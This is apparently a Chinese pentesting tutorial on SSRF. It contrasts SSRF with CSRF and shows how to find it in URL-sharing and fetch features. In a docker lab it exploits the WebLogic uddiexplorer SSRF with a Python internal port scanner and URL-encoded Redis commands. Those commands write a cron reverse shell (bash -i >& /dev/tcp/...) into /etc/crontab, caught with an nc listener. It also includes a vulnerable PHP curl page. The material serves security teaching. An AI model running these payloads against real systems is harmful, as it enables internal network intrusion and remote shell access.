序言
第一次接触SSRF,还是在乌云的猪猪侠大佬的分享,现在很多同志还是不太了解,我做一个简单的描述,有不对的地方可以多多交流
Ssrf(Server-Side Request Forgery:服务器端请求伪造)
csrf(Cross-site request forgery:跨站请求伪造)
从这两个讲解上来看差别是不是不大,今天给大家讲这个,我也是考虑了很多,主题是前端漏洞,ssrf并不算是前端漏洞,但它和csrf的相似性,让我一直想给大家介绍一下,尽量避免大家对两个漏洞的混淆。
Ssrf漏洞
ssrf(Server-Side Request Forgery:服务器端请求伪造): 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
ssrf漏洞成因
都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
也就是说,对于为服务器提供服务的其他应用没有对访问进行限制,如果我构造好我的访问包,那我就有可能利用目标服务对他的其他服务器应用进行调用。
漏洞示例
我们可以测试一下,百度查看IP,直接在百度搜索IP就会出现本机的IP
就是上图这种效果,那我在利用百度翻译这个页面会是什么效果呢
同样是对IP的查询,但是我得到的IP不一样了,这就ssrf漏洞,翻译页面执行了他本身的服务,但搜索的内容也同样执行了,系统默认为是本服务器执行的内容,而不是直接调用的已知结果,就在翻译页面所部署的服务器上直接执行了IP的查询,也就是这这个翻译中的IP其实是他本身服务务器的外网IP了。
漏洞利用
Weblogic-ssrf漏洞利用
首先我们docker靶场环境,构建出其中的weblogic-ssrf漏洞。(就不描述了,有疑问的可以私信我交流)
访问我们搭建好的环境
Ssrf漏洞存在于uddiexplorer/SearchPublicRegistries.jsp这个页面之下
我们要构造我们的get数据包,能过数据包去探测目标网站,来判断是否存在目标内容,比如说端口,比如说内网的存在活主机
这时候我们可以利用python写一个简单的脚本来利用这个漏洞,批量的查探目标,红框中是这个小程序的使用方法,建议新手自己手动敲一下,当然我会把小工具共享。
# -*- coding: utf-8 -*- import re import sys import time import thread import requests def scan(ip_str): ports = ('7001','6379') for port in ports: exp_url = "http://192.168.1.117:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search"%(ip_str,port) try: response = requests.get(exp_url, timeout=15, verify=False) #SSRF判断 re_sult1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',response.content) #丢失连接.端口连接不上 re_sult2 = re.findall('but could not connect',response.content) re_sult3 = re.findall('No route to host',response.content) if len(re_sult1)!=0 and len(re_sult2)==0 and len(re_sult3)==0: print ip_str+':'+port except Exception, e: pass def find_ip(ip_prefix): ''' 给出当前的192.168.1 ,然后扫描整个段所有地址 ''' for i in range(1,256): ip = '%s.%s'%(ip_prefix,i) thread.start_new_thread(scan, (ip,)) time.sleep(3) if __name__ == "__main__": commandargs = sys.argv[1:] args = "".join(commandargs) ip_prefix = '.'.join(args.split('.')[:-1]) find_ip(ip_prefix)
经过探测,我们发现了内网的一个IP存在6379端口,也就是redis服务
我们这里要发送几行代码
发送三条redis命令,将弹shell脚本写入/etc/crontab:
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.19.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
把这三条命令通过get包注入进去,先要将命令用url进行编码
注意,换行符是“\r\n”,也就是“%0D%0A”。
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
然后我们把构造好的数据包通过burp进行发送
我们去看一下,我们成功反弹到了shell
nc –l –p 21
到这,我们的weblogic漏洞利用算是告一段落,还有其他的方式利用这种漏洞,就要大家自己去尝试了,渗透测试不是一成不变的,有可能你按照我的文章一样做不出这样的效果,有可能一个命令的权限问题就会让你的整个辛苦都白废掉。根据自己的环境去分析,了解第一条命令的目的和用处,你才可以更好的做安全,有很多人说,其实网络安全很好做,只要你足够细心,没有什么特别复杂的问题的。
普通利用
网络请求支持的协议如下
http,https,file,ftp,mailto,jar,netdoc
对比php的ssrf,java这块利用相对局限
现在假设我方是一个应用服务器,上面部署了一个存在ssrf漏洞的应用
html><body> <form name="px" method="post" action="http://localhost:8081/ssrf/a.php"> <input type="text" name="url" value=""> <input type="submit" name="commit" value="submit"> </form> <script> </script> </body></html>
及对应php文件
<?php if (isset($_POST['url'])) { $link = $_POST['url']; $filename = './curled/'.rand().'txt'; $curlobj = curl_init($link); $fp = fopen($filename,"w"); curl_setopt($curlobj, CURLOPT_FILE, $fp); curl_setopt($curlobj, CURLOPT_HEADER, 0); curl_exec($curlobj); curl_close($curlobj); fclose($fp); $fp = fopen($filename,"r"); $result = fread($fp, filesize($filename)); fclose($fp); echo $result; } ?>
Html访问的效果如下
我们在这个框中输入一个网址并提交,查看返回结果
返回来的页面中打开了百度的页面,可是我的链接却是a.php,也
就是说访问百度网站的并不在浏览器中,而是嵌套在了这个php中,如果是在外网访问的这个页面,那就是说,这个百度其实是由服务器访问,而不是攻击方访问。可是他返回了值。
这个漏洞主要的攻击利用是用于外网对内网的一个利用,如果内网的某台主机上存在漏洞或可利用文件,那我们就可以用这个漏洞加以利用
比如我们在外网调用一个内网才可以到达的shell
利用ssrf漏洞可以达到许多目的,虽然这个漏洞利用起来复杂,但是在目标站没有什么明显漏洞时,利用ssrf对内网进行一个探测,很有可能会有意外收获的。
漏洞寻找
在ssrf漏洞的挖掘过程中,我们要注意以下几点
分享:通过URL地址分享网页内容,页面链接会直接带入其他网站链接
在线分析业务,调用外网图片业务,转码业务
文章转载与分享等
这几点的共性就在于会调用其他业务,有可能是内网的,也有可能是外网的,当攻击者发现这个点可以对内网资源进行访问时,就有可能被攻击者利用。
在寻找的过程中,我们一定要学会分辨真假
这个过程,我们可以利用burp对我们的访问进行一个截断,ssrf漏洞,是服务器会发起你构造的请求,所以我们本地浏览器是不会存在访问这个请求的数据包的,也就是说,我们只会截到一个发往服务器的请求包,而不会有对其他地址的请求,比如我们上面讲的百度翻译的例子,我们只有访问百度翻译的数据包,但没有百度查IP的数据包
查IP的数据其实是百度翻译服务器所发送,大家如果不好分辨这个是不是ssrf的话,就可以从数据包方面入手了
总结
针对ssrf漏洞,并没有可以像其他漏洞一样的那种简单工具,如果发现了漏洞要大家来手工去构造我们的payload,去实际测试漏洞危害和内容,比如说上面讲到的百度的例子,这个是ssrf漏洞,但大家没有可以利用的权限,只是可以发现他的IP地址而已,针对性的分析这个漏洞,有可能漏洞后面是一片大森林,也有可能,漏洞后面什么都没有,但这个要自己去发掘。